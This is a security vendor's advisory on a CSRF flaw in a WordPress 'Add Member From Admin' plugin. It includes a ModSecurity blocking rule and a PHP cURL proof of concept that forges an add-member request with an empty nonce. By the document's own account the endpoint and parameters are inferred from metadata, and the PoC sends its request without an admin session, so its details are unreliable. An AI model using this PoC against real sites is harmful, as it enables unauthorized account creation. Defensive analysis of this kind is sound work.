Atomic Edge analysis of CVE-2026-57659 (metadata-based):
The Paid Memberships Pro – Add Member From Admin plugin versions up to and including 0.7.2 are vulnerable to Cross-Site Request Forgery (CSRF). This vulnerability arises from missing or incorrect nonce validation on a function that handles an administrative action. An unauthenticated attacker can trick a site administrator into unknowingly submitting a forged request, leading to an unauthorized action (likely adding a new member or modifying membership data). The CVSS score of 4.3 reflects low impact with no confidentiality or availability breach, but an integrity impact through unauthorized data modification.
Root Cause: Based on the CWE (352) and the description stating missing or incorrect nonce validation, the likely root cause is a lack of a WordPress nonce check on an admin-side action handler. In WordPress, admin AJAX handlers and form submissions commonly use check_admin_referer() or wp_verify_nonce() to validate the request came from the intended admin user. Without this, any action performing state-changing operations (like adding a member) can be triggered cross-domain. Atomic Edge analysis infers this because the description explicitly points to nonce validation as the missing security control. No source code diff is available, so this is based on standard WordPress development patterns and the CWE classification.
Exploitation: The attacker crafts a malicious HTML page or link that, when loaded by an authenticated administrator, triggers a cross-site request to the WordPress admin area. The likely target endpoint is an admin AJAX action (e.g., /wp-admin/admin-ajax.php) with an action parameter corresponding to the plugin’s function (such as ‘pmpro_add_member’ or similar). The attacker’s payload would contain the required POST parameters to add a new member with attacker-controlled data (e.g., username, email, membership level). Since no nonce is validated, the forged request passes. The attack requires social engineering to make the admin click a link or visit a page, but no authentication is needed from the attacker.
Remediation: The patched version (0.7.3) likely adds a nonce verification to the vulnerable function. The development fix should include a call to check_admin_referer(‘plugin_action_name’) or use wp_verify_nonce($_POST[‘_wpnonce’], ‘action_name’) before executing the sensitive operation. The plugin should also ensure capability checks (e.g., current_user_can(‘manage_options’)) are in place to prevent lower-privilege users from triggering the action, though the CSRF vulnerability specifically addresses the missing nonce.
Impact: Successful exploitation allows an unauthenticated attacker to trigger an unauthorized admin action, likely adding a new membership account or modifying member data without the administrator’s knowledge. This constitutes a low-integrity impact (CWE 352, CVSS integrity score LOW) because the attacker can manipulate membership records but cannot directly access sensitive data or elevate privileges. However, combined with other vulnerabilities (e.g., stored XSS in the member form), the impact could be amplified. The attack requires user interaction (clicking a link), which limits the threat profile to targeted social engineering.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php"
"id:20265765,phase:2,deny,status:403,chain,msg:'CVE-2026-57659 CSRF via pmpro-add-member-admin AJAX action',severity:'CRITICAL',tag:'CVE-2026-57659'"
SecRule ARGS_POST:action "@streq pmpro_add_member"
"chain"
SecRule ARGS_POST:_wpnonce "@unconditionalMatch"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57659 - Paid Memberships Pro - Add Member From Admin <= 0.7.2 - Cross-Site Request Forgery
// This PoC demonstrates CSRF exploitation by tricking an admin into adding a new member.
// Configuration: Set the target WordPress site URL
$target_url = 'http://example.com';
// Admin AJAX endpoint (common for plugin actions)
$endpoint = $target_url . '/wp-admin/admin-ajax.php';
// Attacker defines the new member details (these would be POSTed in the forged request)
$username = 'attacker_user';
$email = 'attacker@example.com';
$membership_level = 1; // Example membership level ID
// The plugin likely uses an action hook like 'pmpro_add_member' or similar.
// Based on the plugin slug 'pmpro-add-member-admin', we infer the action.
// NOTE: The exact action name is not confirmed without source code; adjust as needed.
$action = 'pmpro_add_member'; // Inferred from plugin name; may differ in real plugin
// Build the POST body (including all necessary parameters for adding a member)
// The nonce is deliberately omitted to exploit the missing CSRF protection.
$post_data = array(
'action' => $action,
'username' => $username,
'email' => $email,
'membership_level' => $membership_level,
// Additional required fields (e.g., first_name, last_name) may be needed
'first_name' => 'Attacker',
'last_name' => 'User',
'password' => 'malicious_password_123',
'_wpnonce' => '' // Empty or omitted nonce; vulnerable plugin ignores this
);
// Initialize cURL session to send the forged request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing with self-signed certs
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200) {
echo '[+] Exploit sent successfully. If admin was tricked, member may have been added.' . PHP_EOL;
} else {
echo '[-] Request failed with HTTP code: ' . $http_code . PHP_EOL;
}
curl_close($ch);
?>
